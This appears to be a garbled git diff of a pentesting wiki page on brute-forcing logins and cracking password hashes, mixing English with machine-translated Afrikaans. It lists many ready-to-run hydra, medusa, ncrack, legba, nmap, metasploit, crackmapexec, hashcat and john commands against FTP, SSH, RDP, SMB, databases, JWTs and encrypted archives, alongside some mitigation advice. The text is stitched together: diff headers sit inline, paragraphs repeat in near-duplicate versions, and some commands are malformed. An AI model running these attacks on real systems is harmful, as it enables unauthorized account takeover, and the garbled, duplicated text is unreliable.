Medusa is another tool similar to Hydra, used for conducting brute force attacks. It is known for its speed and efficiency in cracking passwords.
```bash
hydra -l root -P passwords.txt [-t 32] <IP> ftp
ncrack -p 21 --user root -P passwords.txt <IP> [-T 5]
@ -191,7 +205,7 @@ legba http.basic --username admin --password wordlists/passwords.txt --target ht
```
### HTTP - NTLM
Brute force attacks against HTTP NTLM authentication can be performed using tools like Hydra or Medusa. These tools allow you to automate the process of trying different username and password combinations until the correct one is found. It is important to note that brute force attacks can be time-consuming and resource-intensive, so it is recommended to use them as a last resort.
Brute-force attacks against HTTP NTLM authentication can be performed using tools like `Hydra` or `Medusa`. These tools can be used to crack the NTLM hashes by trying different password combinations until the correct one is found. It is important to note that brute-forcing NTLM hashes can be time-consuming and resource-intensive, so it is recommended to use a wordlist or password dictionary to increase the chances of success.
```bash
legba http.ntlm1 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
legba http.ntlm2 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
@ -210,7 +224,9 @@ cmsmap -f W/J/D/M -u a -p a https://wordpress.com
```
### IMAP
IMAP (Internet Message Access Protocol) is a standard email protocol that stores email messages on a mail server. IMAP allows an email client to access email on the server. It is commonly used for receiving emails.
#### Brute Force
Brute force attacks against IMAP are typically carried out using tools like Hydra or Nmap. These tools allow an attacker to systematically check a list of passwords against a targeted IMAP server until the correct one is found. The success of a brute force attack depends on the complexity of the password and the effectiveness of account lockout policies on the server.
```bash
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> imap -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f <IP> imap -V
@ -219,9 +235,7 @@ legba imap --username user --password data/passwords.txt --target localhost:993
```
### IRC
#### Brute Force
Brute force attacks on IRC servers are usually performed using automated scripts that try to guess usernames and passwords. These scripts can be easily found online and are relatively simple to use. Attackers can use these scripts to try a large number of username and password combinations until they find one that works. To protect against brute force attacks on IRC servers, it is important to use strong, unique passwords and implement account lockout policies to prevent multiple login attempts.
IRC (Internet Relay Chat) is 'n protokol wat gebruik word vir real-time kommunikasie en is baie gebruik in die hacker-gemeenskap vir kommunikasie en samevoeging van inligting.
```bash
nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p <PORT> <IP>
```
@ -229,17 +243,13 @@ nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,
#### Brute Force
Brute force attacks against iSCSI targets are relatively straightforward. Attackers can use tools like Hydra or Nmap to perform brute force attacks by trying different combinations of usernames and passwords until the correct one is found. This method can be time-consuming but can be effective if weak credentials are used.
#### Mitigation
To mitigate brute force attacks against iSCSI targets, it is essential to use strong, complex passwords and implement account lockout policies to prevent multiple failed login attempts. Additionally, monitoring and logging login attempts can help detect and respond to brute force attacks in a timely manner.
Brute force attacks involve trying all possible combinations of a password until the correct one is found. This method can be used to crack the login credentials of an iSCSI target. It is important to use strong and complex passwords to mitigate the risk of a successful brute force attack.
```bash
nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 <IP>
```
### JWT
JWT (JSON Web Tokens) is 'n open standaard (RFC 7519) wat 'n veilige manier bied om inligting tussen partye te ruil as JSON-voorwerpe. Hierdie inligting kan geverifieer en vertrou word omdat dit digitaal onderteken is. JWT's kan gebruik word vir verifikasie en uitruil van inligting tussen partye.
#### Afrikaans Translation:
```bash
#hashcat
hashcat -m 16500 -a 0 jwt.txt .\wordlists\rockyou.txt
@ -264,7 +274,7 @@ jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibm
```
### LDAP
LDAP (Lightweight Directory Access Protocol) is 'n protokol wat gebruik word om inligting uit 'n gidsdiens te onttrek. Dit kan gebruik word vir aanmelding, soekopdragte, en ander gidsverwante take. LDAP-bruteforce-aanvalle kan gebruik word om geldige aanmeldingsbesonderhede te agterhaal deur verskeie aanmeldingspogings met verskillende wagwoorde te maak.
LDAP (Lightweight Directory Access Protocol) is 'n protokol wat gebruik word om inligting uit 'n gidsdiens te onttrek of daarin te plaas. LDAP-bruteforce-aanvalle kan uitgevoer word om geldige gebruikersname en wagwoordkombinasies te vind deur herhaaldelik te probeer om in te teken met verskillende kombinasies.
```bash
nmap --script ldap-brute -p 389 <IP>
legba ldap --target 127.0.0.1:389 --username admin --password @wordlists/passwords.txt --ldap-domain example.org --single-match
@ -284,7 +294,7 @@ legba mongodb --target localhost:27017 --username root --password data/passwords
```
### MSSQL
Brute-force attacks against MSSQL servers are common due to weak passwords. Tools like Hydra, Ncrack, and Metasploit can be used for this purpose. It's important to use strong passwords and implement account lockout policies to prevent successful brute-force attacks.
Brute-force attacks against MSSQL servers are typically performed using tools like Hydra, Ncrack, or Metasploit. These tools allow attackers to systematically check a large number of passwords until the correct one is found. It is important to use strong and complex passwords to protect against brute-force attacks.
```bash
legba mssql --username SA --password wordlists/passwords.txt --target localhost:1433
```
@ -292,7 +302,13 @@ legba mssql --username SA --password wordlists/passwords.txt --target localhost:
#### Brute Force
Brute force attacks involve trying all possible combinations of usernames and passwords until the correct one is found. This method is commonly used to gain unauthorized access to MySQL databases. Attackers use automated tools to systematically try different combinations until they find the right credentials. To protect against brute force attacks, it is essential to use strong and unique passwords, implement account lockout policies, and monitor for multiple failed login attempts.
Brute force attacks involve trying all possible combinations of usernames and passwords until the correct one is found. This method is commonly used to gain unauthorized access to MySQL databases. It is essential to use strong and unique passwords to protect against brute force attacks.
#### Afrikaans Translation
#### Geweldsaksie
Geweldsaksies behels om alle moontlike kombinasies van gebruikersname en wagwoorde te probeer totdat die regte een gevind word. Hierdie metode word dikwels gebruik om ongemagtigde toegang tot MySQL-databasisse te verkry. Dit is noodsaaklik om sterk en unieke wagwoorde te gebruik om teen geweldsaksies te beskerm.
```bash
# hydra
hydra -L usernames.txt -P pass.txt <IP> mysql
@ -308,7 +324,7 @@ legba mysql --username root --password wordlists/passwords.txt --target localhos
```
### OracleSQL
Brute-force attacks against OracleSQL databases involve attempting to guess usernames and passwords to gain unauthorized access. These attacks can be carried out using automated tools that systematically try different combinations of usernames and passwords until the correct one is found. It is essential to use strong, unique passwords and implement account lockout policies to protect against brute-force attacks.
Brute-force attacks against OracleSQL databases are typically performed using tools like Hydra or Metasploit. These tools can automate the process of trying different username and password combinations until the correct one is found. It is important to note that brute-force attacks can be time-consuming and resource-intensive, and may not always be successful. Additionally, they can potentially lock out user accounts if too many incorrect login attempts are made.
```bash
patator oracle_login sid=<SID> host=<IP> user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017
@ -336,7 +352,7 @@ Om **oracle\_login** met **patator** te gebruik, moet jy dit **installeer**:
```bash
pip3 install cx_Oracle --upgrade
```
[Aflyn OracleSQL-hash bruteforce](../network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) (**weergawes 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** en **11.2.0.3**):
[Afgeleë OracleSQL-hash bruteforce](../network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) (**weergawes 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** en **11.2.0.3**):
```bash
nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30
```
@ -344,19 +360,11 @@ nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid
#### Brute Force
Brute force attacks involve trying all possible combinations of a password until the correct one is found. This method is time-consuming but effective against weak passwords. Tools like Hydra and Medusa can automate the process.
Brute force is a common technique used to gain unauthorized access to a system by trying all possible combinations of usernames and passwords until the correct one is found. This method is often used when other, more sophisticated methods fail. It is important to note that brute force attacks can be time-consuming and resource-intensive, but they can be effective if the passwords are weak or easily guessable.
#### Dictionary Attack
#### Mitigation
A dictionary attack uses a predefined list of words to try as passwords. This method is more efficient than brute force as it targets common passwords first. Tools like John the Ripper and Hashcat are commonly used for dictionary attacks.
#### Rainbow Table Attack
Rainbow table attacks use precomputed tables of hashed passwords to crack passwords quickly. This method is faster than brute force and dictionary attacks. Tools like Ophcrack and RainbowCrack are used for rainbow table attacks.
#### Credential Stuffing
Credential stuffing involves using automated tools to try large numbers of username/password combinations obtained from previous data breaches. This method relies on users reusing passwords across different accounts. Tools like Sentry MBA and SNIPR are used for credential stuffing attacks.
To mitigate brute force attacks, it is essential to use strong, complex passwords that are difficult to guess. Additionally, implementing account lockout policies after a certain number of failed login attempts can help prevent attackers from gaining access. Using multi-factor authentication can also add an extra layer of security to protect against brute force attacks.
```bash
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> pop3 -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f <IP> pop3 -V
@ -371,19 +379,19 @@ legba pop3 --username admin@example.com --password wordlists/passwords.txt --tar
#### Brute Force
Brute force attacks involve trying all possible combinations of a password until the correct one is found. This method can be effective but is time-consuming and resource-intensive. It is important to use strong, complex passwords to mitigate the risk of a successful brute force attack.
Brute force attacks involve trying all possible combinations of a password until the correct one is found. This method is commonly used to crack passwords and gain unauthorized access to systems or accounts.
#### Brute Force Protection
#### Brute Force Prevention
To protect against brute force attacks, consider implementing the following measures:
To prevent brute force attacks in PostgreSQL, you can implement the following measures:
- **Lockout Policies:** Implement lockout policies that lock out users after a certain number of failed login attempts.
- **Account Lockout:** Automatically lock user accounts after multiple failed login attempts to prevent further unauthorized access.
- **Strong Passwords:** Enforce the use of strong, complex passwords that are difficult to guess.
- **Multi-Factor Authentication (MFA):** Implement MFA to add an extra layer of security beyond just a password.
- **Monitoring:** Regularly monitor login attempts and look for any unusual patterns that may indicate a brute force attack in progress.
1. **Strong Passwords**: Encourage users to use strong and complex passwords that are difficult to guess.
2. **Account Lockout Policy**: Implement an account lockout policy that locks out an account after a certain number of failed login attempts.
3. **Rate Limiting**: Implement rate limiting to restrict the number of login attempts within a specific time frame.
4. **Multi-Factor Authentication (MFA)**: Enforce MFA to add an extra layer of security to the authentication process.
5. **Monitoring and Logging**: Monitor and log login attempts to detect and respond to suspicious activities.
By implementing these measures, you can significantly reduce the risk of a successful brute force attack on your PostgreSQL database.
By implementing these preventive measures, you can enhance the security of your PostgreSQL database and protect it from brute force attacks.
```bash
hydra -L /root/Desktop/user.txt P /root/Desktop/pass.txt <IP> postgres
medusa -h <IP> U /root/Desktop/user.txt P /root/Desktop/pass.txt M postgres
@ -401,12 +409,6 @@ sudo dpkg -i thc-pptp-bruter*.deb #Install the package
cat rockyou.txt | thc-pptp-bruter u <Username> <IP>
```
### RDP
RDP (Remote Desktop Protocol) is a proprietary protocol developed by Microsoft, which provides a user with a graphical interface to connect to another computer over a network connection. RDP is commonly used for remote administration and accessing virtual desktops.
#### Brute Force Attack
A brute force attack against an RDP server involves trying all possible username and password combinations until the correct one is found. This is typically achieved using automated tools that can rapidly try different combinations. Brute force attacks can be mitigated by implementing strong password policies, account lockout mechanisms, and using multi-factor authentication.
```bash
ncrack -vv --user <User> -P pwds.txt rdp://<IP>
hydra -V -f -L <userslist> -P <passwlist> rdp://<IP>
@ -414,7 +416,7 @@ legba rdp --target localhost:3389 --username admin --password data/passwords.txt
```
### Redis
Redis is 'n in-memory data store wat dikwels gebruik word vir caching en sessiebeheer in webtoepassings. Dit kan ook gebruik word vir die hantering van boodskappe in 'n boodskapgeorkestreerde stelsel.
Redis is 'n in-memory data store wat dikwels gebruik word vir caching en sessiebeheer in webtoepassings. Dit kan ook gebruik word vir die opberg van ander tipes data soos sleutel-waarde pare. Redis kan blootgestel word aan aanvalle soos brute force aanvalle, dus is dit belangrik om sterk wagwoorde te gebruik en toegang tot Redis te beperk tot vertroude bronne.
```bash
msf> use auxiliary/scanner/redis/redis_login
nmap --script redis-brute -p 6379 <IP>
@ -425,11 +427,7 @@ legba redis --target localhost:6379 --username admin --password data/passwords.t
#### Brute Force
Brute force attacks are a common way to gain unauthorized access to a system by trying all possible combinations of usernames and passwords until the correct one is found. This method is often used when other techniques, such as social engineering or exploiting vulnerabilities, are not successful. Brute force attacks can be time-consuming but are effective if the passwords are weak or easily guessable.
#### Mitigation
To mitigate brute force attacks, it is essential to use strong and complex passwords, implement account lockout policies, and use multi-factor authentication. Additionally, monitoring login attempts and setting up intrusion detection systems can help detect and prevent brute force attacks. Regularly updating systems and software can also help prevent vulnerabilities that attackers may exploit during a brute force attack.
Brute force is a common technique used to gain unauthorized access to a system by trying all possible combinations of usernames and passwords until the correct one is found. This method can be time-consuming but is often effective against weak passwords. Automated tools like Hydra and Medusa can be used to automate the brute force process.
```bash
hydra -l <username> -P <password_file> rexec://<Victim-IP> -v -V
```
@ -437,13 +435,15 @@ hydra -l <username> -P <password_file> rexec://<Victim-IP> -v -V
#### Brute Force
Brute force is a common technique used to gain unauthorized access to a system by trying all possible combinations of usernames and passwords until the correct one is found. This method can be used to target the Rlogin service, attempting to log in without proper credentials. It is important to note that brute force attacks can be detected and prevented by implementing strong password policies, account lockout mechanisms, and monitoring for suspicious login attempts.
Brute force is a common technique used to gain unauthorized access to a system by trying all possible combinations of usernames and passwords until the correct one is found. This method can be used to target the Rlogin service, attempting to log in without proper credentials. It is important to note that brute force attacks can be detected and prevented by implementing strong password policies, account lockout mechanisms, and monitoring for unusual login patterns.
```bash
hydra -l <username> -P <password_file> rlogin://<Victim-IP> -v -V
```
### Rsh
Rsh is a remote shell program that allows users to execute commands on a remote system. It can be used in brute-force attacks to guess passwords and gain unauthorized access to a system.
#### Brute Force
Brute force attacks involve trying all possible combinations of a password until the correct one is found. This method is time-consuming but can be effective if the password is weak. Tools like Hydra and Medusa can automate the process of brute forcing passwords. It is important to note that brute force attacks can be detected and prevented by implementing measures such as account lockouts after multiple failed login attempts.
```bash
hydra -L <Username_list> rsh://<Victim_IP> -v -V
```
@ -457,7 +457,13 @@ nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/va
#### Brute Force
Brute force attacks involve trying all possible combinations of a password until the correct one is found. This method can be used to crack passwords for RTSP services. It is essential to use strong and complex passwords to prevent successful brute force attacks.
Brute force attacks involve trying all possible combinations of usernames and passwords until the correct one is found. This method is commonly used to gain unauthorized access to systems and accounts. It is important to use strong and unique passwords to protect against brute force attacks.
#### Afrikaans Translation
#### Gewelddadige Aanval
Gewelddadige aanvalle behels om alle moontlike kombinasies van gebruikersname en wagwoorde te probeer totdat die regte een gevind word. Hierdie metode word dikwels gebruik om ongemagtigde toegang tot stelsels en rekeninge te verkry. Dit is belangrik om sterk en unieke wagwoorde te gebruik om teen gewelddadige aanvalle te beskerm.
```bash
hydra -l root -P passwords.txt <IP> rtsp
```
@ -467,8 +473,6 @@ legba sftp --username admin --password wordlists/passwords.txt --target localhos
# Try keys from a folder
legba sftp --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22
```
### SNMP
### SNMP
```bash
msf> use auxiliary/scanner/snmp/snmp_login
@ -478,13 +482,23 @@ hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt ta
```
### SMB
### SMB
#### Brute Force
Brute force attacks involve trying all possible combinations of usernames and passwords until the correct one is found. This method is commonly used to gain unauthorized access to systems and accounts. It is important to use strong and unique passwords to protect against brute force attacks.
#### Afrikaans Translation
#### Brute Force
Brute force-aanvalle behels om alle moontlike kombinasies van gebruikersname en wagwoorde te probeer totdat die regte een gevind word. Hierdie metode word dikwels gebruik om ongemagtigde toegang tot stelsels en rekeninge te verkry. Dit is belangrik om sterk en unieke wagwoorde te gebruik om teen brute force-aanvalle te beskerm.
```bash
nmap --script smb-brute -p 445 <IP>
hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1
legba smb --target share.company.com --username admin --password data/passwords.txt [--smb-workgroup <SMB_WORKGROUP>] [--smb-share <SMB_SHARE>]
```
### SMTP
SMTP (Simple Mail Transfer Protocol) is 'n protokol wat gebruik word vir die stuur van e-posse oor 'n netwerk.
```bash
hydra -l <username> -P /path/to/passwords.txt <IP> smtp -V
hydra -l <username> -P /path/to/passwords.txt -s 587 <IP> -S -v -V #Port 587 for SMTP with SSL
@ -492,14 +506,30 @@ legba smtp --username admin@example.com --password wordlists/passwords.txt --tar
```
### SOCKS
SOCKS is a protocol that routes network packets between a client and a server through a proxy server. It can be used to bypass firewalls and perform network reconnaissance.
#### Brute Force
Brute force attacks involve trying all possible combinations of a password until the correct one is found. This method is often used when other techniques, such as dictionary attacks, fail to crack a password. Brute force attacks can be time-consuming but are effective against weak passwords.
#### Afrikaans Translation
#### Geweldenaarskrag
Geweldenaarskragaanvalle behels om alle moontlike kombinasies van 'n wagwoord te probeer totdat die regte een gevind word. Hierdie metode word dikwels gebruik wanneer ander tegnieke, soos woordeboekaanvalle, nie slaag om 'n wagwoord te kraak nie. Geweldenaarskragaanvalle kan tydrowend wees, maar is effektief teen swak wagwoorde.
```bash
nmap -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 <IP>
legba socks5 --target localhost:1080 --username admin --password data/passwords.txt
# With alternative address
legba socks5 --target localhost:1080 --username admin --password data/passwords.txt --socks5-address 'internal.company.com' --socks5-port 8080
```
### SQL-bediener
### SQL Server
Brute-force attacks against SQL Server can be performed using tools like Hydra, Ncrack, or custom scripts. These tools allow you to automate the process of trying different combinations of usernames and passwords until the correct one is found.
### Afrikaans Translation
### SQL Server
Brute-force aanvalle teen SQL Server kan uitgevoer word met behulp van gereedskap soos Hydra, Ncrack, of aangepaste skripte. Hierdie gereedskap maak dit moontlik om die proses te outomatiseer deur verskillende kombinasies van gebruikersname en wagwoorde te probeer totdat die regte een gevind word.
```bash
#Use the NetBIOS name of the machine as domain
crackmapexec mssql <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
@ -510,7 +540,21 @@ msf> use auxiliary/scanner/mssql/mssql_login #Be careful, you can block accounts
```
### SSH
### SSH
#### Brute Force
Brute force attacks involve trying all possible combinations of a password until the correct one is found. This method is commonly used to gain unauthorized access to a system. Attackers use automated tools to systematically check all possible passwords until the correct one is discovered.
#### Prevention
To prevent brute force attacks on SSH, you can implement the following measures:
1. **Strong Passwords**: Use complex and long passwords that are difficult to guess.
2. **Limit Login Attempts**: Configure SSH to limit the number of login attempts allowed.
3. **Use Public Key Authentication**: Disable password authentication and use public key authentication instead.
4. **Implement Two-Factor Authentication**: Add an extra layer of security by requiring a second form of authentication.
5. **Monitor Logs**: Regularly monitor SSH logs for any unusual login patterns.
By implementing these prevention measures, you can significantly reduce the risk of a successful brute force attack on your SSH server.
```bash
hydra -l root -P passwords.txt [-t 32] <IP> ssh
ncrack -p 22 --user root -P passwords.txt <IP> [-T 5]
@ -532,7 +576,7 @@ legba stomp --target localhost:61613 --username admin --password data/passwords.
```
### Telnet
Telnet is 'n netwerkprotokol wat gebruik word om 'n verbindingsessie met 'n ander rekenaar te skep. Dit kan gebruik word vir die uitvoering van brute force-aanvalle deur herhaaldelik probeer om aan te meld by 'n stelsel deur verskillende gebruikersnaam- en wagwoordkombinasies te probeer.
Telnet is 'n netwerkprotokol wat gebruik word om 'n verbindingsessie met 'n ander rekenaar te skep. Dit kan gebruik word vir die uitvoering van brute force-aanvalle deur verskeie aanmeldingskombinasies te probeer totdat die regte een gevind word.
```bash
hydra -l root -P passwords.txt [-t 32] <IP> telnet
ncrack -p 23 --user root -P passwords.txt <IP> [-T 5]
@ -551,7 +595,7 @@ legba telnet \
#### Brute Force
Brute force attacks against VNC servers involve attempting to log in by systematically trying all possible passwords until the correct one is found. This can be achieved using tools like Hydra or Medusa. It is important to note that brute force attacks can be time-consuming and resource-intensive, and may trigger account lockouts or other security measures.
Brute force attacks involve trying all possible combinations of usernames and passwords until the correct one is found. This method is commonly used to gain unauthorized access to VNC servers. Attackers can use automated tools to systematically try different combinations at a rapid pace. It is essential to use strong, unique passwords and implement account lockout policies to mitigate the risk of a successful brute force attack.
```bash
hydra -L /root/Desktop/user.txt P /root/Desktop/pass.txt -s <PORT> <IP> vnc
medusa -h <IP> u root -P /root/Desktop/pass.txt M vnc
@ -570,11 +614,11 @@ set PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst
```bash
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
```
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik **werkstrome te bou** en outomatiseer met die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Kry Toegang Vandag:
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik en **outomatiseer werkstrome** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Kry Vandaag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -612,10 +656,10 @@ john zip.john
hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt
.\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack
```
#### Bekende platte tekst zip-aanval
#### Bekende teks zip-aanval
Jy moet die **platte teks** (of 'n deel van die platte teks) **van 'n lêer wat binne** die versleutelde zip lê, ken. Jy kan **lêernaam en grootte van lêers wat binne** 'n versleutelde zip bevat, nagaan deur: **`7z l encrypted.zip`** uit te voer.\
Laai [**bkcrack**](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0) van die vrystellingsbladsy af.
Jy moet die **teks** (of 'n deel van die teks) **van 'n lêer wat binne-in** die versleutelde zip lê, ken. Jy kan die **lêernaam en -grootte van lêers wat binne-in** 'n versleutelde zip lê, nagaan deur: **`7z l encrypted.zip`** uit te voer.\
Laai [**bkcrack**](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0) af van die vrystellingsbladsy.
```bash
# You need to create a zip file containing only the file that is inside the encrypted zip
zip plaintext.zip plaintext.file
@ -629,7 +673,7 @@ unzip unlocked.zip #User new_pwd as password
```
### 7z
Brute-force attacks against encrypted 7z files can be time-consuming and resource-intensive, especially if the password is long and complex. Tools like 7z2hashcat can be used to convert 7z files to a format that hashcat can understand, allowing for faster password cracking using GPU acceleration. Additionally, using a good wordlist or rules with hashcat can significantly increase the chances of successfully cracking the password.
Brute-forcing a password-protected 7z file can be done using tools like `7z2john.pl` and `john`. The `7z2john.pl` script extracts the hash from the 7z file, which can then be cracked using `john` with a wordlist or incremental mode.
```bash
cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z
```
@ -642,7 +686,7 @@ apt-get install libcompress-raw-lzma-perl
```
### PDF
Brute-force attacks are commonly used to crack passwords by trying all possible combinations until the correct one is found. These attacks can be time-consuming but are often successful if the password is not strong enough. Tools like Hydra and Medusa are popular for conducting brute-force attacks.
Brute-force attacks are commonly used to crack passwords from PDF files. Tools like `pdfcrack` and `hashcat` can be used to perform brute-force attacks on PDF files. These tools work by trying all possible combinations of characters until the correct password is found. It is important to note that brute-force attacks can be time-consuming, especially for complex passwords.
```bash
apt-get install pdfcrack
pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt
@ -675,7 +719,9 @@ hashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.tx
```
### Keepass
### Keepass
#### Brute Force
Brute force attacks involve trying all possible combinations of a password until the correct one is found. This method is time-consuming but can be effective, especially if the password is weak. Keepass has a feature to protect against brute force attacks by locking the database after a certain number of failed login attempts.
```bash
sudo apt-get install -y kpcli #Install keepass tools like keepass2john
keepass2john file.kdbx > hash #The keepass is only using password
@ -728,7 +774,7 @@ john --wordlist=/usr/share/wordlists/rockyou.txt ./hash
### DPAPI Meester Sleutel
Gebruik [https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py) en hardloop dan john
Gebruik [https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py) en dan john
### Open Office Wagwoord Beskermde Kolom
@ -751,10 +797,10 @@ zip -r file.xls .
# From https://github.com/crackpkcs12/crackpkcs12
crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx
```
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik **werkstrome te bou** en outomatiseer met die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik en **outomatiseer werkstrome** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Kry Vandaag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -777,7 +823,7 @@ hash-identifier
### **Woordlystegenereringstools**
* [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** Gevorderde sleutelbord-stapgenerator met aanpasbare basis karakters, toetsenbordkaart en roetes.
* [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** Gevorderde sleutelbord-stap-generator met aanpasbare basis karakters, toetskaart en roetes.
```bash
kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt
```
@ -801,7 +847,7 @@ hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule
* **Woordelys kombinasie** aanval
Dit is moontlik om **2 woordelyste in 1 te kombineer** met hashcat.\
As lys 1 die woord **"hello"** bevat en die tweede 2 reëls met die woorde **"world"** en **"earth"** bevat. Die woorde `helloworld` en `helloearth` sal gegenereer word.
As lys 1 die woord **"hallo"** bevat en die tweede 2 lyne met die woorde **"wêreld"** en **"aarde"** bevat. Die woorde `helloworld` en `halloaarde` sal gegenereer word.
```bash
# This will combine 2 wordlists
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt
@ -856,60 +902,56 @@ hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt
```bash
hashcat --example-hashes | grep -B1 -A2 "NTLM"
```
### Brute Forcing Linux Hashes - /etc/shadow lêer
### Brute Force
Brute forcing is 'n aanvalstegniek wat gebruik word om wagwoorde te agterhaal deur verskeie kombinasies te probeer. Vir Linux-stelsels kan die /etc/shadow-lêer wagwoordhashe bevat wat deur brute force aangeval kan word. Dit is belangrik om sterk, onkraakbare wagwoorde te gebruik om hierdie tipe aanvalle te voorkom.
#### Brute Forcing Linux Hashes
Brute forcing Linux hashes involves attempting all possible combinations of characters until the correct password is found. This is commonly done by using tools like John the Ripper or Hashcat to crack the password hashes stored in the `/etc/shadow` file on Linux systems.
#### Brute Force Attack Process
1. Obtain the password hash from the `/etc/shadow` file.
2. Use a brute force tool to generate password guesses.
3. Compare the generated hashes with the target hash.
4. If a match is found, the correct password has been identified.
#### Mitigating Brute Force Attacks
To protect against brute force attacks on Linux systems, it is essential to use strong, complex passwords and implement account lockout policies. Additionally, using multi-factor authentication can add an extra layer of security to prevent unauthorized access.
```
500 | md5crypt $1$, MD5(Unix) | Operating-Systems
3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems
7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems
1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems
```
### Brute Force
### Brute-Force
Brute force attacks involve systematically checking all possible keys or passwords until the correct one is found. This method is often used to crack Windows hashes.
Brute-force attacks involve systematically checking all possible keys or passwords until the correct one is found. This method is commonly used to crack Windows hashes.
#### Tools
There are several tools available for performing brute force attacks on Windows hashes, including:
There are several tools available for performing brute-force attacks on Windows hashes, including:
- **John the Ripper**: A popular password cracking tool that can be used for Windows hashes.
- **John the Ripper**: A popular password-cracking tool that can be used for Windows hashes.
- **Hashcat**: Another powerful tool for cracking passwords, including Windows hashes.
- **Hydra**: A versatile password-cracking tool that supports various protocols, including SMB (used by Windows).
- **Hydra**: A versatile password-cracking tool that supports multiple protocols, including Windows authentication.
#### Methodology
1. Obtain the Windows hash that you want to crack.
2. Choose a suitable tool for performing the brute force attack.
2. Choose a suitable tool for performing the brute-force attack.
3. Configure the tool with the necessary parameters, such as the hash type and character set.
4. Start the brute force attack and wait for the tool to find the correct key or password.
5. Once the correct key or password is found, use it to access the Windows system.
4. Start the brute-force attack and wait for the tool to find the correct key or password.
5. Once the correct key or password is found, use it to gain access to the Windows system.
By following this methodology, you can effectively crack Windows hashes using brute force techniques.
By following this methodology, you can effectively crack Windows hashes using brute-force attacks.
```
3000 | LM | Operating-Systems
1000 | NTLM | Operating-Systems
```
### Brute Force
Brute force attacks involve systematically checking all possible keys or passwords until the correct one is found. This method is often used to crack common application hashes.
#### Tools and Resources
- **Hashcat**: A popular password cracking tool that supports multiple hashing algorithms.
